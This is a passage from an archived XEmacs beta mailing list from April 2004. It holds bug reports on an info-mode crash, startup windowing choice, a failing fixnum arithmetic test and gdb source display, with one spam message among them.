Lisp (CLOS) makes an application easier to build and maintain. (Sometimes it even makes it faster and smaller.) Craig From xemacs-beta-admin@xemacs.org Wed Apr 21 17:06:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LL66s13862; Wed, 21 Apr 2004 17:06:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LL5bI13255 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 17:05:37 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LL5Vu13138 for turnbull@tux.org; Wed, 21 Apr 2004 17:05:31 -0400 Received: from lakermmtao11.cox.net (lakermmtao11.cox.net [68.230.240.28]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LL5Ls12955 for ; Wed, 21 Apr 2004 17:05:21 -0400 Received: from Cobb029833918S1 ([68.224.196.240]) by lakermmtao11.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040421210520.EXVW18803.lakermmtao11.cox.net@Cobb029833918S1> for ; Wed, 21 Apr 2004 17:05:20 -0400 Date: Wed, 21 Apr 2004 17:05:34 -0400 Message-Id: <7wy8oprqht.fsf@cox.net> From: Superbiskit To: XEmacs Beta Subject: [Bug: 21.4.15] CRASH: info-mode crash on PageDn keypress X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! Summary says it all -- in info mode (directory) paging down with the PageDn key suddenly crashes. Console says -- Lisp backtrace follows: # (condition-case ... . error) # (catch top-level ...) Aborted (core dumped) stackdump binary file will be along shortly using my regular mailer. ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: CYGWIN_NT-5.0 summer 1.5.7(0.109/3/2) 2004-01-30 19:32 i686 unknown unknown Cygwin /usr/src/xemacs-21.4.15/configure '--pdump' '--srcdir=/usr/src/xemacs-21.4.15' '--prefix=/usr' '--datadir=/usr/share' '--statedir=/var' '--libdir=/usr/lib' '--infodir=/usr/share/xemacs-21.4.15/info' '--mandir=/usr/share/man/man1' '--package-path=/usr/local/share/xemacs/site-packages:/usr/share/xemacs/site-packages:/usr/share/xemacs/xemacs-packages:/usr/share/xemacs/mule-packages' '--with-mule' '--with_file_coding=yes' '--with_msw=yes' '--with-modules=no' '--with-dialogs=motif' '--with-widgets=motif' XEmacs 21.4.15 "Security Through Obscurity" configured for `i686-pc-cygwin'. Compilation / Installation: Source code location: /usr/src/xemacs-21.4.15 Installation prefix: /usr Operating system description file: `s/cygwin32.h' Machine description file: `m/intel386.h' Compiler: gcc -g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith Compiler version: gcc (GCC) 3.3.1 (cygming special) Compiler specs file: /usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/specs Relocating allocator for buffers: no GNU version of malloc: yes libc: system-provided libc on i686-pc-cygwin Window System: Compiling in support for the Microsoft window system. Compiling in support for the X window system: - X Windows headers location: /usr/X11/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for Motif. - Using LessTif implementation. *WARNING* Many versions of Motif are buggy, requiring workarounds. You are likely to experience slow redisplay. You may need to install vendor patches to Motif. See PROBLEMS for more information. Using Lucid menubars. Using Lucid scrollbars. Using Motif dialog boxes. Using Motif native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Compiling in support for sound (native). Databases: Compiling in support for Berkeley database. Compiling in support for LDAP. Compiling in support for PostgreSQL. - Using PostgreSQL header file: libpq-fe.h - Using PostgreSQL V7 bindings. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for file coding. Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. Mail: Compiling in support for POP mail retrieval. Other Features: Inhibiting IPv6 canonicalization at startup. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (/usr/share/xemacs-21.4.15/lisp/build-report /usr/share/xemacs/xemacs-packages/lisp/build/build-report /usr/share/emacs/site-lisp/make-regexp /usr/share/xemacs/xemacs-packages/lisp/ess/make-regexp) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (Sun ver: 1.15 upstream: No-Upstream-Ver) (skk ver: 1.23 upstream: regular) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (lookup ver: 1.14 upstream: 1.0) (locale ver: 1.21 upstream: No-Upstream-Ver) (leim ver: 1.22 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) (egg-its ver: 1.27 upstream: No-Upstream-Ver) (edict ver: 1.16 upstream: 0.9.9) Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 paren blink-paren gnuserv scroll-in-place func-menu font-lock filladapt crypt crypt++ view-less view default-dir efs-cu efs-x19.15 efs-fnh efs-ovwrt efs-auto cus-face dired-faces dired-xemacs dired pending-del completion completer rsz-minibuf vc ring vc-hooks edebug zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads Sun-autoloads skk-autoloads mule-ucs-autoloads mule-base-autoloads lookup-autoloads locale-autoloads leim-autoloads latin-unity-autoloads egg-its-autoloads edict-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp postgresqlv7 postgresql file-coding mule mswindows-scrollbars mswindows lucid-scrollbars cut-buffer lucid-menubars motif-dialogs x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses menu-accelerator-support menubar berkeley-db md5 xemacs xim gutter tiff png gif jpeg xface xpm xbm lisp-float-type cygwin32 dialog devices window-system base64) Recent keystrokes: ----------------- misc-user Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Paren mode is sexp Loading paren...done Loading paren... Loading gnuserv...done Loading gnuserv... Loading dired-mule...done Loading dired-mule... Loading cus-face...done Loading cus-face... Loading sounds...done Loading sounds... Loading sound...done Loading sound... Loading pending-del...done Loading pending-del... Loading completion...done Loading completion... Loading rsz-minibuf...done From xemacs-beta-admin@xemacs.org Wed Apr 21 18:16:16 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LMG4s28205; Wed, 21 Apr 2004 18:16:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LMFuS28054 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 18:15:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LMFt528019 for turnbull@tux.org; Wed, 21 Apr 2004 18:15:55 -0400 Received: from lakermmtao10.cox.net (lakermmtao10.cox.net [68.230.240.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LMFos27918 for ; Wed, 21 Apr 2004 18:15:50 -0400 Received: from cox.net ([68.224.196.240]) by lakermmtao10.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040421221548.GAFN18696.lakermmtao10.cox.net@cox.net> for ; Wed, 21 Apr 2004 18:15:48 -0400 Message-ID: <4086F2CE.2080106@cox.net> Date: Wed, 21 Apr 2004 18:16:46 -0400 From: "David A. Cobb" Reply-To: XEmacs Beta Discussion , "David A. Cobb" User-Agent: Mozilla Thunderbird 0.6+ (Windows/20040418) X-Accept-Language: en-us, en MIME-Version: 1.0 To: XEmacs Beta Discussion Subject: Q: Where is decision on windowing? Content-Type: multipart/mixed; boundary="------------080509000205060200080109" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format. --------------080509000205060200080109 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit I have a Xemacs-21.5-b16 build made for i686-pc-Cygwin [by Dr. Volker Zell]. When it starts, it comes up in non-windowing mode, driving my rxvt terminal -- I want MSWindow behavior. Volker says this doesn't happen at his site, so I'm left to figure out what's different here. Would someone please point me toward where in the startup spaghetti Xemacs decides what windowing system is available / desired? Thanks -- David A. Cobb, Software Engineer, Public Access Advocate "By God's Grace, I am a Christian man; by my actions a great sinner." -- The Way of a Pilgrim: R.French, Tr. Life is too short to tolerate crappy software! --------------080509000205060200080109 Content-Type: text/x-vcard; charset=utf8; name="Superbiskit.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Superbiskit.vcf" begin:vcard fn:David A. Cobb n:Cobb;David A. adr:;;7 Lenox Av #1;West Warwick;RI;02893-3918;USA email;internet:Superbiskit@cox.net title:Independent Software Consultant note:PGP Key ID#0x4C293929 effective 01/28/2004 x-mozilla-html:TRUE version:2.1 end:vcard --------------080509000205060200080109-- From xemacs-beta-admin@xemacs.org Wed Apr 21 22:45:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M2j7s15723; Wed, 21 Apr 2004 22:45:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M2iAO14962 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 22:44:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M2i9h14944 for turnbull@tux.org; Wed, 21 Apr 2004 22:44:09 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M2i9s14938 for ; Wed, 21 Apr 2004 22:44:09 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3M2hmDu030426 for ; Wed, 21 Apr 2004 21:43:48 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3M2hmHS023913; Wed, 21 Apr 2004 21:43:48 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3M2hmJ4023911; Wed, 21 Apr 2004 21:43:48 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Bad test? From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 21 Apr 2004 21:43:48 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I know I said I'd answer email right away when I got back, but I accidentally did a "make; make check" first. :-) I got a failure of this test from tests/automated/lisp-tests.el: (dotimes (j 30) (let ((x (- (random) (random)))) (Assert (eq x (+ (% x 17) (* (/ x 17) 17)))) (Assert (eq (- x) (+ (% (- x) 17) (* (/ (- x) 17) 17)))) (Assert (eq (% x -17) (- (% (- x) 17)))) )) Why don't the failing tests print the *value* on which they failed? Now I've got to deduce or accidentally stumble over the failing case ... and the search space is in excess of 4 billion values. Plus, what's the point in subtracting one random number from another? The values of (random) are uniformly distributed across the fixnum space, so that subtraction produces ... a uniformly distributed value across the fixnum space. This test will fail if x happens to be most-negative-fixnum, whether the XEmacs is bignum-enabled or not. No bignums ---------- The third clause fails because: (% x -17) => -13 (- x) => most-negative-fixnum == x! (% (- x) 17) => -13 (- (% (- x) 17)) => 13 (eq (% x -17) (- (% (- x) 17))) => nil Bignums ------- The second clause fails because: (- x) => (1+ most-positive-fixnum) ; i.e., it is a bignum (+ (% (- x) 17) (* (/ (- x) 17) 17))) => (1+ most-positive-fixnum) And then the eq test fails, because two bignums with the same value are not necessarily eq. If the test was eql, it would work. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 22 00:13:35 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M4D7s15647; Thu, 22 Apr 2004 00:13:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M4CaX15313 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 00:12:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M4CY715280 for turnbull@tux.org; Thu, 22 Apr 2004 00:12:34 -0400 Received: from 126572.com ([210.21.197.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3M4CXs15267 for ; Thu, 22 Apr 2004 00:12:33 -0400 Message-Id: <200404220412.i3M4CXs15267@gwyn.tux.org> From: Emmie Waung To: xemacs-beta@xemacs.org Reply-To: emmie@newin.cn Subject: Looking for PC camera, MP3 ,flash memory disk ? High quality,competitive price Date: Thu, 22 Apr 2004 12:04:11 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="a7f0e0fc-a430-4d49-be55-7e9e4503f72e" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=4.0 required=5.0 tests=DEAR_SOMETHING, MIME_BOUND_MANY_HEX autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format --a7f0e0fc-a430-4d49-be55-7e9e4503f72e Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Dear Sirs or madam, Shenzhen Newin Tech Industrial Co., Ltd.(SZNT) one of the main manufacturers = of digital products including PC camera, MP3 , flash memory disk ,and = digital camera,ect. in mainland China and among the firsts in China to = develop and commercialize the digital products with brand name NEWIN and has = been at the forefront of digital technology from day one. SZNT leads the world in innovative digital technology. Our global network of = sales and service engineers, backed in turn by our agents, means that we are = currently active in China, USA and European countries. SZNT is a market leader and technology pioneer in the digital products . With = its strong R&D resources as well as close collaborations with many top = technological partners, the Newin Technology Innovation Center (NTIC) has = successfully developed various digital products to meet customers' = requirement. SZNT , by selecting key component manufacturing partners , is able to build = high quality products with long-term consistency and compatibility = guarantees. Our strict FCC and CE quality managed production method helps us = achieve reliability standards that statistics tell us we are offering some of = the lowest failure rates achievable in the industry. Technical knowledge in = these processes is a key factor to this stability. SZNT continues to explore new technologies and undertakes the commitment to = provide all our customers with flexibility towards customer's requirements. We welcome all your feedback at emmie@newin.cn . Should you have any = quetions, pls let me know without hesitation, I will be more than happy to = answer you at any time. Thanks and best regards, Emmie Waung Sales Manager SHENZHEN NEWIN TECH.INDUSTRIAL CO., LTD. RM1006, 10F, Chiwei Bldg, Shennan Midd Rd, Futian District, Shenzhen 518000 = P.R. China Tel: (+86-755) 83659650 Ext 805 Fax:(+86-755) 83659690 Email=A3=BA sales@newin.cn Website=A3=BA http://www.newin.cn --a7f0e0fc-a430-4d49-be55-7e9e4503f72e-- From xemacs-beta-admin@xemacs.org Thu Apr 22 02:57:56 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M6v2s23353; Thu, 22 Apr 2004 02:57:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M6uwE23289 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 02:56:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M6uvC23264 for turnbull@tux.org; Thu, 22 Apr 2004 02:56:57 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M6uts23240; Thu, 22 Apr 2004 02:56:55 -0400 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BGY8k-0004Zl-01; Thu, 22 Apr 2004 08:56:54 +0200 Received: from D5DC120J.t-online.de (T5n-AgZfZeLjUB1vbK8PLO99RQZ4ROH3koC+WM-wdiijha-k98vqsd@[217.229.11.110]) by afwd01.sul.t-online.com with esmtp id 1BGY8a-1I4FvM0; Thu, 22 Apr 2004 08:56:44 +0200 To: XEmacs Beta List Subject: [Christian Alis] gdb does not display source code X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Date: Thu, 22 Apr 2004 08:57:49 +0200 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Seen: false X-ID: T5n-AgZfZeLjUB1vbK8PLO99RQZ4ROH3koC+WM-wdiijha-k98vqsd X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= FYI --=-=-= Content-Type: message/rfc822 Content-Disposition: inline X-From-Line: cmalis@up.edu.ph Thu Apr 22 13:51:09 2004 Return-Path: Received: from gwyn.tux.org ([199.184.165.135]) by mailin07.sul.t-online.de with esmtp id 1BGXDW-1gel4C0; Thu, 22 Apr 2004 07:57:46 +0200 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M5qBs07906; Thu, 22 Apr 2004 01:52:11 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M5pIS07378 for xemacs-winnt-mailman@xemacs.org; Thu, 22 Apr 2004 01:51:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M5pGw07350 for turnbull@tux.org; Thu, 22 Apr 2004 01:51:16 -0400 Received: from mail01.up.edu.ph (ns01.up.edu.ph [202.92.128.248]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3M5pFs07342 for ; Thu, 22 Apr 2004 01:51:16 -0400 Received: (qmail 17479 invoked by uid 504); 22 Apr 2004 05:51:11 -0000 Received: from cmalis@up.edu.ph by web1 by uid 501 with qmail-scanner (update: v4100 21 Apr 2004 - Processed in 0.962978 secs); 22 Apr 2004 05:51:11 -0000 Received: from unknown (HELO localhost) (10.16.3.144) by 10.16.3.142 with SMTP; 22 Apr 2004 05:51:10 -0000 Received: from proxy9.skyinet.net (proxy9.skyinet.net [202.78.97.39]) by mail.up.edu.ph (IMP) with HTTP for ; Thu, 22 Apr 2004 13:51:09 +0800 Message-ID: <1082613069.40875d4d5697d@mail.up.edu.ph> Date: Thu, 22 Apr 2004 13:51:09 +0800 From: Christian Alis To: xemacs-winnt@xemacs.org Subject: gdb does not display source code User-Agent: Internet Messaging Program (IMP) 3.2.3 X-Originating-IP: 202.78.97.39 X-XEmacs-List: winnt X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-winnt-admin@xemacs.org Errors-To: xemacs-winnt-admin@xemacs.org X-BeenThere: xemacs-winnt@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs on Microsoft Windows List-Unsubscribe: , X-Seen: false X-TOI-SPAM: n;0;2004-04-22T05:57:50Z X-Content-Length: 906 Lines: 18 Xref: D5DC120J xemacs-nt:4685 MIME-Version: 1.0 gdb does not display the source code in xemacs 21.4 in windows me. i have also experienced the same problem in rh9. when i run gdb (sometimes using M-x gdb and sometimes, using the toolbar) while the source code is open, gdb opens in a new buffer hiding the buffer containing the source code. when i run the program in gdb, the program runs in an ms-dos prompt and nothing happens with gdb until the program ends. when the program stops at a breakpoint, the gdb buffer splits where one buffer (buffer 1) retains gdb and the other buffer (buffer 2) is in Fundamental major mode and gdbsrc minor mode. buffer 2 is blank but i can issue commands to buffer 1 by just typing a key (like n for next.) the key pressed is not displayed in buffer so it remains blank. i hope there's an easy solution for this problem. you can also point out what i'm doing wrong. i'm an (x)emacs newbie. thanks in advance --=-=-= -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ --=-=-=-- From xemacs-beta-admin@xemacs.org Thu Apr 22 03:05:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org 